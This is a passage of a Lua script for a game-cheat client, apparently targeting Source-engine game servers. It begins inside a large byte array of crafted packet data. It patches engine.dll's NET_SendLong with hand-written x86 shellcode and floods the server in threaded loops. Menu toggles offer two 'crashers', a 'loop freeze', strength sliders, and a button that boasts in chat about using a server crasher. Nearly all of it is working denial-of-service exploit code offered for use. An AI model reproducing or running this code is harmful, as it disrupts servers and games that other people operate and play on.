0xf7,0xa1,0xf7,0x8b,0x2b,0xfe,0x21,0x77,0xbc,0xf7,0x3a,0xf7,0x38,0xf7,0xfb,0x25,
0xf7,0x4c,0xf7,0xbd,0xdd,0x7e,0x7f,0x77,0x38,0xf7,0x0c,0x77,0x99,0x77,0xf7,0xab,
0x77,0x42,0xf7,0x22,0x77,0x6e,0xd6,0xfe,0x67,0xf7,0x53,0xf7,0x73,0x77,0xdf,0x1c,
0xf7,0x36,0x77,0x00,0x77,0x04,0x77,0x30,0xf7,0x5c,0x09,0x7e,0xdc,0xf7,0xff,0x50,
0x77,0xe7,0x77,0x87,0xf7,0x2d,0xf7,0xaf,0xf7,0xd0,0x7f,0x98,0x77,0x2b,0xf7,0xbe,
0xc3,0x4e,0x7e,0x80,0x77,0x82,0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b,0x7e,0xff,0x5b,0x77,0x4f,0xf7,0x79,0xf7,0x51,0x77,0x56,
0x77,0x2c,0xf7,0xfa,0xf7,0x7a,0x77,0x7f,0xa7,0xf7,0x39,0x77,0x41,0x77,0xba,0x77,
0x57,0x77,0xed,0xf7,0x1f,0xf7,0x4b,0xff,0x65,0x7e,0x14,0xf7,0xd6,0x77,0x43,0xf7,
0x14,0x77,0x62,0x77,0x1b,0xf7,0x7f,0x77,0xfe,0xea,0x64,0xfe,0xe5,0xf7,0xce,0x77,
0x0c,0x77,0x6c,0x77,0xda,0x77,0x37,0x77,0xff,0x23,0xf7,0x0c,0x77,0x5f,0xf7,0x2c,
0xf7,0x10,0xf7,0x68,0xf7,0x34,0xf7,0x67,0x77,0x7f,0x14,0xf7,0x13,0xf7,0x25,0x77,
0x4c,0xf7,0x2f,0xf7,0x1a,0xf7,0x3d,0xf7,0x58,0xff,0xd6,0xfe,0xfc,0x77,0xe2,0x77,
0x5d,0x77,0x42,0xf7,0xe1,0xf7,0x39,0xf7,0x5c,0x77,0x7f,0xc1,0x77,0x07,0x77,0x13,
0xf7,0x4c,0x77,0x3a,0x77,0x09,0xf7,0x17,0xf7,0x55,0xd5,0x00,0x76,0xd2,0x00,0x76,
0xac,0x00,0x76,0x1a,0x85,0xfe,0x62,0x77,0xfe,0xa9,0xa3,0x7e,0xb5,0x77,0x1e,0xf7,
0x0a,0xf7,0x4d,0x77,0xcb,0xf7,0x42,0xf7,0xfe,0x35,0x8a,0xfe,0x88,0xf7,0x98,0x77,
0x6f,0xf7,0x9a,0xf7,0x25,0xf7,0x41,0x77,0x7b,0x68,0x77,0x49,0x77,0x0a,0x15,0xfe,
0x20,0xf7,0x16,0x77,0x0f,0xf7,0x77,0xef,0x03,0x7e,0x78,0x77,0x2d,0x77,0x9c,0x77,
0xc5,0xd9,0xfe,0x5c,0xf7,0xaf,0x77,0xff,0x3a,0x77,0x49,0xf7,0x57,0x77,0x04,0xf7,
0x73,0xf7,0x5a,0xf7,0x87,0x77,0xb3,0xf7,0xfb,0x0e,0xf7,0x0c,0xf7,0xa2,0x0e,0x7e,
0xd9,0x77,0x36,0x77,0x74,0xf7,0x3d,0xf7,0xff,0x0c,0x77,0x58,0x77,0x2d,0x77,0x76,
0xf7,0x7e,0x77,0x48,0x77,0x14,0x77,0x33,0xf7,0xfb,0x53,0xf7,0x1c,0x77,0xd4,0x09,
0xfe,0x8d,0x77,0x4e,0xf7,0x49,0xf7,0x06,0x77,0xfe,0xae,0x57,0x7e,0x56,0x77,0x64,
0xf7,0x5f,0x77,0x47,0xf7,0xd7,0xf7,0x6a,0x77,0xb7,0x17,0xf7,0x09,0xf7,0x5a,0xf7,
0x45,0xc3,0x7e,0x79,0xf7,0xd7,0x3a,0xfe,0xdd,0x6c,0xf7,0xcc,0x18,0x7e,0x3f,0xf7,
0x29,0x77,0xed,0x2d,0xfe,0x3c,0x77,0xff,0x48,0x77,0x5e,0x77,0x3e,0x77,0x57,0x77,
0xe4,0xf7,0xa6,0x7f,0x04,0xf7,0x1a,0x77,0xfe,0x7a,0x38,0xfe,0x38,0x77,0x06,0x77,
0x42,0x77,0xd7,0xf7,0x17,0xf7,0x50,0xf7,0xeb,0x71,0x77,0x3a,0x77,0x85,0x00,0x76,
0x8e,0x3e,0xfe,0x45,0xf7,0x4e,0xf7,0xff,0x47,0x77,0x92,0xf7,0x51,0xf7,0xdf,0x77,
0x04,0x77,0x2f,0x77,0xbe,0x77,0xce,0xf7,0xb7,0x64,0x77,0x25,0x77,0x74,0x77,0x66,
0x72,0xfe,0x3b,0xf7,0xf3,0x3b,0xfe,0xfb,0xa6,0xf7,0x5f,0xf7,0x06,0x39,0x7e,0x02,
0x7f,0x25,0x77,0x46,0xf7,0xf2,0xf7,0xff,0x6d,0xf7,0xaf,0x77,0x5a,0xf7,0x27,0x77,
0x4a,0x77,0x18,0xf7,0x74,0xf7,0x07,0x77,0xff,0x49,0x77,0x33,0xf7,0x1a,0xf7,0x78,
0x77,0x6c,0xf7,0xb9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,0x7d,0x77,0x21,0xf7,0xff,0x75,0xf7,0x47,0x77,0x2d,0x77,0x93,0xf7,0x2f,0xf7,
0x01,0xf7,0x01,0x77,0x0c,0xf7,0xaf,0x17,0xf7,0x35,0x77,0xb5,0x77,0x99,0xf7,0x63,
0x00,0x76,0x95,0x00,0x76,0x7e,0x41,0x1d,0xfe,0xcf,0xf7,0x2d,0x77,0x13,0x77,0x98,
0x77,0x97,0xf7,0x4f,0xf5,0xb1,0xfe,0x38,0x00,0x76,0xce,0x19,0x7e,0x3a,0x77,0x0d,
0x77,0x60,0x77,0xff,0xe9,0x77,0x20,0x77,0x2f,0x77,0x0c,0x77,0x28,0xf7,0x0c,0xf7,
0xd1,0x77,0x0c,0x77,0x7e,0x9c,0x58,0xfe,0xa9,0x77,0x3f,0xf7,0x63,0x77,0xb3,0xf7,
0x22,0xf7,0x00,0xbd,0x00,0x76,0x56,0x75,0xfe,0x89,0x77,0x6f,0x77,0x32,0x77,0x54,
0x04,0xfe,0xff,0x3f,0xf7,0x45,0xf7,0x10,0xf7,0x2b,0x77,0x0e,0x77,0x35,0xf7,0xa7,
0x77,0xa5,0xf7,0xff,0x2c,0xf7,0x2d,0xf7,0x63,0xf7,0xc8,0xff,0x7d,0x77,0x23,0xf7,
0x6c,0x77,0x63,0x77,0xff,0x96,0x77,0x8c,0xf7,0x60,0xf7,0x3f,0xf7,0x35,0x77,0x1a,
0x77,0x1b,0xf7,0x29,0xf7,0xff,0x02,0xf7,0xfb,0x77,0x18,0xf7,0x40,0xf7,0x0f,0x77,
0xd5,0xf7,0x50,0x77,0x14,0x77,0xf6,0x39,0x16,0xfe,0x99,0x77,0x0c,0x33,0xfe,0x54,
0xf7,0x50,0x77,0x07,0x77,0x77,0x20,0x77,0x38,0xf7,0x4c,0x77,0x9d,0xce,0x7e,0x5b,
0x77,0xa5,0xf7,0x48,0xf5,0x00,0x76,0xa7,0x00,0x76,0x44,0x41,0x7e,0x6a,0x77,0x33,
0x77,0x89,0xf7,0xff,0x3d,0x77,0x1e,0x77,0x0b,0x77,0x25,0xf7,0x12,0xf7,0x2f,0x77,
0x5b,0xf7,0x22,0x77,0x7b,0x01,0x77,0x5b,0x77,0x7b,0x09,0xfe,0x1d,0x77,0xd2,0xf7,
0x0d,0xf7,0xe7,0xff,0x2c,0xfe,0x11,0x77,0x5d,0x77,0x27,0xf7,0x1e,0x77,0x54,0x77,
0x46,0x77,0x73,0xf7,0xed,0x58,0x77,0x13,0x7e,0x7e,0xaa,0x77,0x24,0xa9,0xfe,0x82,
0xf7,0x45,0xf7,0xaf,0x30,0x77,0x3e,0xf7,0x36,0xf7,0x67,0x77,0x28,0x21,0xfe,0x62,
0x00,0x76,0xfe,0xf5,0x14,0x7e,0xad,0xf7,0x3d,0xf7,0x07,0xf7,0x2d,0xf7,0x69,0xf7,
0x41,0x77,0xff,0x4e,0x77,0x2d,0xf7,0xa5,0xf7,0x4b,0xf7,0x25,0xf7,0xad,0xf7,0x62,
0xf7,0x25,0xf7,0xfd,0xd0,0xf7,0xaa,0x27,0xfe,0x25,0x77,0x43,0xf7,0x47,0x77,0x24,
0x77,0x4c,0x77,0xfb,0x81,0xf7,0x21,0xf7,0xd3,0x15,0xfe,0xf5,0x77,0x3a,0xf7,0xa9,
0xf7,0x92,0x77,0xf7,0x9b,0x77,0x54,0xf7,0x18,0x77,0x86,0xea,0x7e,0x19,0x77,0xe2,
0x77,0x9c,0x77,0xfd,0x44,0xf7,0xb7,0x90,0x7e,0x27,0xf7,0x99,0xf7,0x7d,0xf7,0x8f,
0xf7,0x2b,0xf7,0xff,0x65,0x77,0xac,0xf7,0x4f,0xf7,0x06,0xf7,0xb3,0x77,0x87,0xf7,
0x7f,0x77,0xc1,0xf7,0xff,0x53,0x77,0xac,0xf7,0x87,0xf7,0xcf,0x77,0x13,0xf7,0xc7,
0xf7,0x45,0xf7,0x41,0x77,0x7f,0x4f,0x77,0x06,0x77,0xdc,0x77,0x30,0xf7,0x25,0x77,
0x0c,0x77,0x53,0x77,0x99,0xaf,0xc9,0x7e,0x6b,0x77,0x6e,0x77,0x97,0x77,0x34,0x00,
0x76,0x91,0xd0,0xfe,0xfd,0x35,0x77,0xc7,0x28,0xfe,0x4c,0xf7,0x36,0xf7,0x15,0xf7,
0x11,0xf7,0xc6,0xf7,0xbf,0x07,0x77,0x64,0xf7,0x49,0x77,0x3e,0x77,0x81,0x77,0x33,
0x77,0x7f,0x53,0xfe,0xff,0x30,0x77,0x31,0x77,0x0b,0x77,0x2e,0xf7,0x5d,0x77,0x90,
0x77,0x3b,0x77,0xd2,0xf7,0xfb,0x27,0xf7,0x44,0x77,0x64,0x34,0x7e,0xff,0x77,0xc6,
0xf7,0xf0,0xf7,0x03,0xf7,0xff,0x96,0x77,0xa6,0x77,0xcf,0x77,0xc4,0xf7,0x48,0x77,
0xb8,0xf7,0x55,0x77,0x2a,0xf7,0xbf,0x7f,0x77,0x14,0xf7,0x0f,0xf7,0x23,0xf7,0x01,
0xf7,0x3c,0x77,0x23,0x1c,0x7e,0xff,0x55,0x77,0x3c,0x77,0x4c,0xf7,0x34,0x77,0x12,
0x77,0x6f,0xf7,0x54,0x77,0xbd,0xf7,0xd6,0xe1,0x0a,0x7e,0x1e,0x77,0x75,0x3a,0x7e,
0x50,0x0f,0xfe,0x96,0xf7,0x7f,0x9e,0xf7,0x8a,0xf7,0xc5,0xf7,0x1f,0x77,0x46,0xf7,
0x06,0x77,0x6a,0xf7,0xf9,0xbf,0x33,0xfe,0xd4,0x77,0x3d,0x77,0x37,0x77,0x3e,0xf7,
0xc5,0x77,0xc2,0x00,0x76,0xd6,0x79,0xe9,0x7e,0x00,0xf7,0x7c,0x00,0x76,0x70,0x5e,
0x7e,0x4c,0xf7,0xfb,0x22,0xf7,0x2d,0x77,0x4d,0x34,0x7e,0x06,0xf7,0x83,0xf7,0x1a,
0xf7,0x38,0x77,0x5f,0x0f,0xf7,0xdc,0x77,0x35,0x77,0x3c,0xf7,0x15,0xf7,0x5a,0x00,
0x76,0xbb,0xfb,0x56,0xfe,0xa0,0x77,0xdc,0x89,0xfe,0xdc,0x77,0x03,0x77,0x75,0xf7,
0x57,0x77,0xef,0x94,0x77,0x29,0xf7,0x71,0xf7,0x85,0xf7,0x27,0x34,0xfe,0x77,0xf7,
0x36,0xf7,0x7f,0x02,0x77,0x2c,0xf7,0x01,0xf7,0x00,0x77,0x30,0x77,0x3c,0xf7,0x48,
0xf7,0xf1,0xff,0x17,0x7e,0xa6,0x77,0x2f,0x77,0x90,0x77,0x1e,0x77,0x0c,0x77,0x40,
0xf7,0x17,0x77,0xff,0x74,0x77,0x7f,0x77,0x04,0xf7,0xef,0xf7,0xa1,0xf7,0xd9,0x77,
0x62,0x77,0x58,0xf7,0xf7,0x95,0x77,0x73,0x77,0x2d,0xf7,0x76,0x11,0x7e,0x44,0x77,
0xff,0x77,0xbc,0xf7,0xdd,0x00,0x07,0x15,0x42,0xfe,0x69,0xf7,0x52,0xf7,0xe9,0x18,
0x7e,0x40,0x77,0xbf,0xc5,0x77,0x08,0xf7,0xee,0xf7,0x35,0x77,0x37,0x77,0x5e,0xf7,
0xea,0x00,0x76,0xee,0x60,0x0f,0x7e,0x22,0x77,0xbd,0x77,0x25,0x20,0xfe,0x85,0xf7,
0x3f,0xf7,0x3e,0x6d,0x14,0x7e,0x6b,0x77,0x81,0x77,0x41,0xf3,0x00,0x00
}
local packetbuf_len = #packetbuf
for i = 1, 9302, 1 do
packetbuf[packetbuf_len + i] = 0xcd
end
local mem_packetbuf = ffi.cast("void*", VirtualAlloc(#packetbuf, false))
ffi.copy(mem_packetbuf, ffi.new("char[?]", #packetbuf, packetbuf), #packetbuf)
local Calls_SendToImpl = client.find_signature("engine.dll", string.char(0x55, 0x8B, 0xEC, 0x51, 0x53, 0x8B, 0xD9, 0x56, 0x57, 0x8B, 0xFA, 0x8B, 0x03)) or error("err2.4")
crasher_state[CRASHER_STATE_SHOULD_CALL] = 1
crasher_state[CRASHER_STATE_NETCHAN] = 0
crasher_state[CRASHER_STATE_SENDLONG] = ffi.cast('uintptr_t', mem_CUSTOM_NET_SendLong)
crasher_state[CRASHER_STATE_SENDTOIMPL] = ffi.cast('uintptr_t', Calls_SendToImpl)
local RunExploit = {
0x56, -- 00 push esi
0x33, 0xF6, -- 01 xor esi,esi
0xC6, 0x05, 0x7C, 0xB7, 0x0F, 0x10, 0x00, -- 03 mov byte ptr [shouldCall],00
0x39, 0x35, 0xF4, 0xEA, 0x0F, 0x10, -- 10 cmp [Nezu_crasher_strength],esi
0x7E, 0x30, -- 16 jle end
-- :loop
0x80, 0x3D, 0xF2, 0xEA, 0x0F, 0x10, 0x00, -- 18 cmp byte ptr [Nezu_crasher_active],00
0x74, 0x27, -- 25 je end
0x8B, 0x15, 0x7C, 0xFC, 0x0F, 0x10, -- 27 mov edx,[netchan]
0x8B, 0x0D, 0x34, 0xFD, 0x0F, 0x10, -- 33 mov ecx,[ref_Calls_SendToImpl]
0x68, 0x40, 0x02, 0x00, 0x00, -- 39 push 0x240
0x6A, 0x0D, -- 44 push 0x0D
0x68, 0x8C, 0xB7, 0x0F, 0x10, -- 46 push mem_packetbuf + 0xC
0xFF, 0x15, 0x78, 0xFC, 0x0F, 0x10, -- 51 call dword ptr [ref_CUSTOM_NET_SendLong]
0x46, -- 57 inc esi
0x3B, 0x35, 0xF4, 0xEA, 0x0F, 0x10, -- 58 cmp esi,[Nezu_crasher_strength]
0x7C, 0xD0, -- 64 jl loop
-- :end
0xC6, 0x05, 0x7C, 0xB7, 0x0F, 0x10, 0x01, -- 66 mov byte ptr [shouldCall],01
0x33, 0xC0, -- 73 xor eax,eax
0x5E, -- 75 pop esi
0xC2, 0x04, 0x00 -- 76 ret 0004
}
setUint(RunExploit, 6, offsetPointer(crasher_state, CRASHER_STATE_SHOULD_CALL))
setUint(RunExploit, 13, offsetPointer(crasher_state, CRASHER_STATE_STRENGTH))
setUint(RunExploit, 21, offsetPointer(crasher_state, CRASHER_STATE_ENABLED))
setUint(RunExploit, 30, offsetPointer(crasher_state, CRASHER_STATE_NETCHAN))
setUint(RunExploit, 36, offsetPointer(crasher_state, CRASHER_STATE_SENDTOIMPL))
setUint(RunExploit, 48, tonumber(ffi.cast("uintptr_t", mem_packetbuf)) + 0xC)
setUint(RunExploit, 54, offsetPointer(crasher_state, CRASHER_STATE_SENDLONG))
setUint(RunExploit, 61, offsetPointer(crasher_state, CRASHER_STATE_STRENGTH))
setUint(RunExploit, 69, offsetPointer(crasher_state, CRASHER_STATE_SHOULD_CALL))
local mem_RunExploit = createShellcode(RunExploit)
local NET_SendLong = client.find_signature("engine.dll", string.char(0x55, 0x8B, 0xEC, 0x81, 0xEC, 0xDC, 0x04, 0x00, 0x00, 0x8B, 0x45, 0x0C, 0x53, 0x8B)) or error("err2.5")
crasher_state[CRASHER_STATE_COUNTER] = 0
crasher_state[CRASHER_STATE_BEGINTHREADEX] = ffi.cast('uintptr_t', _beginthreadex_addr)
local Hooked_NET_SendLong = {
0x55, -- 00:0 push ebp
0x8b, 0xec, -- 01:1 mov ebp,esp
0x80, 0x3d, 0xf2, 0xea, 0x0f, 0x10, 0x00, -- 03:3 cmp [Nezu_crasher_active],00
0x56, -- 0a:10 push esi
0x8b, 0xf1, -- 0b:11 mov esi,ecx
0x57, -- 0d:13 push edi
0x8b, 0xfa, -- 0e:14 mov edi,edx
0x89, 0x35, 0x7c, 0xfc, 0x0f, 0x10, -- 10:16 mov [netchan],esi
0x74, 0x33, -- 16:22 je 0x4b
0xa1, 0x80, 0xfc, 0x0f, 0x10, -- 18:24 mov eax,[counter]
0x83, 0xf8, 0x02, -- 1d:29 cmp eax,0x2
0x7c, 0x23, -- 20:32 jl 0x45
0x80, 0x3d, 0x7c, 0xb7, 0x0f, 0x10, 0x00, -- 22:34 cmp [shouldCall],00
0x74, 0x18, -- 29:41 je 0x43
0x6a, 0x00, -- 2b:43 push 0x0
0x6a, 0x00, -- 2d:45 push 0x0
0x6a, 0x00, -- 2f:47 push 0x0
0x68, 0x20, 0x9b, 0x09, 0x10, -- 31:49 push mem_RunExploit
0x6a, 0x00, -- 36:54 push 0x0
0x6a, 0x00, -- 38:56 push 0x0
0xff, 0x15, 0xbc, 0xb3, 0x0b, 0x10, -- 3a:58 call dword ptr [ref_ucrtbase__beginthreadex]
0x83, 0xc4, 0x18, -- 40:64 add esp,0x18
0x33, 0xc0, -- 43:67 xor eax,eax
0x40, -- 45:69 inc eax
0xa3, 0x80, 0xfc, 0x0f, 0x10, -- 46:70 mov [counter],eax
0x8b, 0x0d, 0x34, 0xfd, 0x0f, 0x10, -- 4b:75 mov ecx,[ref_Calls_SendToImpl]
0x8b, 0xd6, -- 51:81 mov edx,esi
0x68, 0x40, 0x02, 0x00, 0x00, -- 53:83 push 0x240
0xff, 0x75, 0x08, -- 58:88 push DWORD PTR [ebp+0x8]
0x57, -- 5b:91 push edi
0xff, 0x15, 0x78, 0xfc, 0x0f, 0x10, -- 5c:92 call dword ptr [ref_CUSTOM_NET_SendLong]
0x5f, -- 62:98 pop edi
0x5e, -- 63:99 pop esi
0x5d, -- 64:100 pop ebp
0xc2, 0x08, 0x00, -- 65:101 ret 0x8
}
setUint(Hooked_NET_SendLong, 6, offsetPointer(crasher_state, CRASHER_STATE_ENABLED))
setUint(Hooked_NET_SendLong, 19, offsetPointer(crasher_state, CRASHER_STATE_NETCHAN))
setUint(Hooked_NET_SendLong, 26, offsetPointer(crasher_state, CRASHER_STATE_COUNTER))
setUint(Hooked_NET_SendLong, 37, offsetPointer(crasher_state, CRASHER_STATE_SHOULD_CALL))
setUint(Hooked_NET_SendLong, 51, mem_RunExploit)
setUint(Hooked_NET_SendLong, 61, offsetPointer(crasher_state, CRASHER_STATE_BEGINTHREADEX))
setUint(Hooked_NET_SendLong, 72, offsetPointer(crasher_state, CRASHER_STATE_COUNTER))
setUint(Hooked_NET_SendLong, 78, offsetPointer(crasher_state, CRASHER_STATE_SENDTOIMPL))
setUint(Hooked_NET_SendLong, 95, offsetPointer(crasher_state, CRASHER_STATE_SENDLONG))
local mem_Hooked_NET_SendLong = createShellcode(Hooked_NET_SendLong)
local NET_SendLong_hook = {
0x68, 0x78, 0x56, 0x34, 0x12, -- push 0x12345678
0xC3 -- ret
}
setUint(NET_SendLong_hook, 2, mem_Hooked_NET_SendLong)
local NET_SendLong_orig = { 0x55, 0x8B, 0xEC, 0x81, 0xEC, 0xDC }
local iEngine = ffi.cast("void***", client.create_interface("engine.dll", "VEngineClient014")) or error('VEngineClient014 is nil.')
local iEngine_vmt = iEngine[0]
local iEngine_GetLastTimeStamp = ffi.cast(ffi.typeof("float(__thiscall*)(void*)"), iEngine_vmt[14])
local iEngine_IsInGame = ffi.cast(ffi.typeof("bool(__thiscall*)(void*)"), iEngine_vmt[26])
local function IsInGame() return iEngine_IsInGame(iEngine) end
local function GetLastTimestamp() return iEngine_GetLastTimeStamp(iEngine) end
local menu = {
ui.new_label("LUA", "A", "-==========- Crasher 1 -==========-"),
crasher1 = ui.new_checkbox("LUA", "A", "Enable crasher 1"),
crasher1_hotkey = ui.new_hotkey("LUA", "A", "Enable crasher 1", true),
crasher1_strength = ui.new_slider("LUA", "A", "Strength", 0, 1000, 500, true),
crasher1_time_enable = ui.new_checkbox("LUA", "A", "Auto stop"),
crasher1_time = ui.new_slider("LUA", "A", "Stop after", 0, 60, 25, true, "s"),
ui.new_label("LUA", "A", "-==========- Crasher 2 -==========-"),
crasher2 = ui.new_checkbox("LUA", "A", "Enable crasher 2"),
crasher2_hotkey = ui.new_hotkey("LUA", "A", "Enable crasher 2", true),
crasher2_strength = ui.new_slider("LUA", "A", "Strength", 0, 1000, 500, true),
crasher2_time_enable = ui.new_checkbox("LUA", "A", "Auto stop"),
crasher2_time = ui.new_slider("LUA", "A", "Stop after", 0, 60, 25, true, "s"),
ui.new_label("LUA", "A", "-=========- Loop freeze -=========-"),
ui.new_label("LUA", "A", "Loop freeze will reactivate the crasher after"),
ui.new_label("LUA", "A", "server starts responding"),
loopFreeze = ui.new_checkbox("LUA", "A", "Enable loop freeze"),
loopFreeze_hotkey = ui.new_hotkey("LUA", "A", "Enable loop freeze", true),
loopFreeze_strength = ui.new_slider("LUA", "A", "Strength", 0, 1000, 500, true),
loopFreeze_time = ui.new_slider("LUA", "A", "Stop after", 0, 60, 5, true, "s"),
flex = ui.new_button("LUA", "A", "Flex ;)", function ()
client.exec('say "I\'m using server crasher made by nezu, u mad?"')
end),
flex_hotkey = ui.new_hotkey("LUA", "A", "Flex ;)", true),
time_since_last_tick = ui.new_checkbox("LUA", "A", "Time since last tick indicator"),
sv_pure = ui.reference("MISC", "Miscellaneous", "Disable sv_pure"),
crasher_time_started_at = -1,
last_tick_time = -1,
hotkeys = {}
}
function menu.DidChange(elem, name)
local last_state = menu.hotkeys[name] or false
local cur_state = ui.get(elem)
local changed = cur_state ~= last_state
menu.hotkeys[name] = cur_state
return changed
end
local function updateState(new_state, strength)
if strength ~= nil then
if crasher_state[CRASHER_STATE_STRENGTH] ~= strength then
crasher_state[CRASHER_STATE_STRENGTH] = strength
end
end
if new_state == crasher_state[CRASHER_STATE_ENABLED] then return end
crasher_state[CRASHER_STATE_ENABLED] = new_state
if new_state == 1 then
ui.set(menu.sv_pure, true)
patch(ffi.cast("void*", NET_SendLong), NET_SendLong_hook)
menu.crasher_time_started_at = globals.realtime()
else
patch(ffi.cast("void*", NET_SendLong), NET_SendLong_orig)
menu.crasher_time_started_at = -1
end
end
ui.set(menu.crasher1, false)
ui.set(menu.crasher2, false)
ui.set(menu.loopFreeze, false)
ui.set_visible(menu.crasher1_time, ui.get(menu.crasher1_time_enable))
ui.set_visible(menu.crasher2_time, ui.get(menu.crasher2_time_enable))
ui.set_callback(menu.crasher1_time_enable, function (elem) ui.set_visible(menu.crasher1_time, ui.get(elem)) end)
ui.set_callback(menu.crasher2_time_enable, function (elem) ui.set_visible(menu.crasher2_time, ui.get(elem)) end)
ui.set_callback(menu.crasher1, function (elem)
local new_state = ui.get(elem)
if not IsInGame() and new_state then
new_state = false
ui.set(elem, new_state)
end
if new_state then
ui.set(menu.crasher2, false)
ui.set(menu.loopFreeze, false)
end
updateState(new_state and 1 or 0, ui.get(menu.crasher1_strength))
end)
ui.set_callback(menu.crasher2, function (elem)
local new_state = ui.get(elem)
if not IsInGame() and new_state then
new_state = false
ui.set(elem, new_state)
end
if new_state then
ui.set(menu.crasher1, false)
ui.set(menu.loopFreeze, false)
end
updateState(new_state and 1 or 0, ui.get(menu.crasher2_strength))
end)
ui.set_callback(menu.loopFreeze, function (elem)
local new_state = ui.get(elem)
if not IsInGame() and new_state then
new_state = false
ui.set(elem, new_state)
end
if new_state then
ui.set(menu.crasher1, false)
ui.set(menu.crasher2, false)
else
updateState(0, 500)
end
end)
ui.set_callback(menu.crasher1_strength, function (elem)
if ui.get(menu.crasher1) then
crasher_state[CRASHER_STATE_STRENGTH] = ui.get(elem)
end
end)
ui.set_callback(menu.crasher2_strength, function (elem)
if ui.get(menu.crasher2) then
crasher_state[CRASHER_STATE_STRENGTH] = ui.get(elem)
end
end)
ui.set_callback(menu.loopFreeze_strength, function (elem)
if ui.get(menu.loopFreeze) then
crasher_state[CRASHER_STATE_STRENGTH] = ui.get(elem)
end
end)
local last_tick_delta = 0;
client.set_event_callback("pre_render", function()
local active = crasher_state[CRASHER_STATE_ENABLED] == 1
if ui.get(menu.loopFreeze) and not active then
local time_delta = globals.curtime() - GetLastTimestamp()
if time_delta < 0.1 or (ui.get(menu.loopFreeze_time) > 5 and last_tick_delta > 5 and time_delta < last_tick_delta) then
updateState(1, ui.get(menu.loopFreeze_strength))
active = true
end
last_tick_delta = time_delta;
end
if not IsInGame() then
ui.set(menu.crasher1, false)
ui.set(menu.crasher2, false)
ui.set(menu.loopFreeze, false)
updateState(0, 500)
active = false
elseif active then
local delta = globals.realtime() - menu.crasher_time_started_at
if ui.get(menu.crasher1) and ui.get(menu.crasher1_time_enable) then
if delta > ui.get(menu.crasher1_time) then
ui.set(menu.crasher1, false)
updateState(0, 500)
active = false
end
elseif ui.get(menu.crasher2) and ui.get(menu.crasher2_time_enable) then
if delta > ui.get(menu.crasher2_time) then
ui.set(menu.crasher2, false)
updateState(0, 500)
active = false
end
elseif ui.get(menu.loopFreeze) then
if delta > ui.get(menu.loopFreeze_time) then
updateState(0, 500)
active = false
end
end
end
if active then
cvar_setInt(cvar_rate, 99999999)
cvar_setInt(cvar_net_threaded_socket_recovery_time, 2)
cvar_setInt(cvar_net_threaded_socket_recovery_rate, 999999)
cvar_setInt(cvar_net_threaded_socket_burst_cap, 999999)
cvar_setInt(cvar_net_compresspackets, 1)
cvar_setInt(cvar_net_compresspackets_minsize, 0)
cvar_setInt(cvar_net_maxroutable, 120)
cvar_setFloat(cvar_net_maxroutable, 120)
cvar_setInt(cvar_sv_maxroutable, 50)
else
cvar_setInt(cvar_net_maxroutable, 1200)
cvar_setFloat(cvar_net_maxroutable, 1200)
end
end)
local function getTime(s)
local str = ""
if s >= 60 then
local m = math.floor(s / 60)
str = string.format("%dm ", m)
s = s - (m * 60)
end
return string.format("%s%.1fs", str, s)
end
client.set_event_callback("paint", function()
if menu.DidChange(menu.crasher1_hotkey, "crasher1_hotkey") then ui.set(menu.crasher1, not ui.get(menu.crasher1)) end
if menu.DidChange(menu.crasher2_hotkey, "crasher2_hotkey") then ui.set(menu.crasher2, not ui.get(menu.crasher2)) end
if menu.DidChange(menu.loopFreeze_hotkey, "loopFreeze_hotkey") then ui.set(menu.loopFreeze, not ui.get(menu.loopFreeze)) end
if menu.DidChange(menu.flex_hotkey, "flex_hotkey") then ui.set(menu.flex, true) end
local screen_size_x, screen_size_y = client.screen_size()
local indicator_pos_x = screen_size_x / 2
local indicator_pos_y = screen_size_y / 4
if menu.crasher_time_started_at ~= -1 then
local delta = globals.realtime() - menu.crasher_time_started_at
local max = 0
if ui.get(menu.crasher1) and ui.get(menu.crasher1_time_enable) then
max = ui.get(menu.crasher1_time)
elseif ui.get(menu.crasher2) and ui.get(menu.crasher2_time_enable) then
max = ui.get(menu.crasher2_time)
else
max = 0
end
if max > 0 then
renderer.circle_outline(indicator_pos_x, indicator_pos_y, 255, 255, 255, 255, 15, 90, delta / max, 10)
end
renderer.text(indicator_pos_x, indicator_pos_y - 30, 255, 255, 255, 255, "cd", 0, string.format("Crasher running for: %s", getTime(delta)))
end
if ui.get(menu.time_since_last_tick) and IsInGame() then
local time_delta = globals.curtime() - GetLastTimestamp()
if (time_delta > 0.5) then
renderer.text(indicator_pos_x, indicator_pos_y + 30, 255, 255, 255, 255, "cd", 0, string.format("Time since last tick: %s", getTime(time_delta)))
end
end
end)
client.set_event_callback("shutdown", function()
updateState(0, 0)
cvar_setInt(cvar_net_maxroutable, 1200)
cvar_setFloat(cvar_net_maxroutable, 1200)
debug("unload")
end)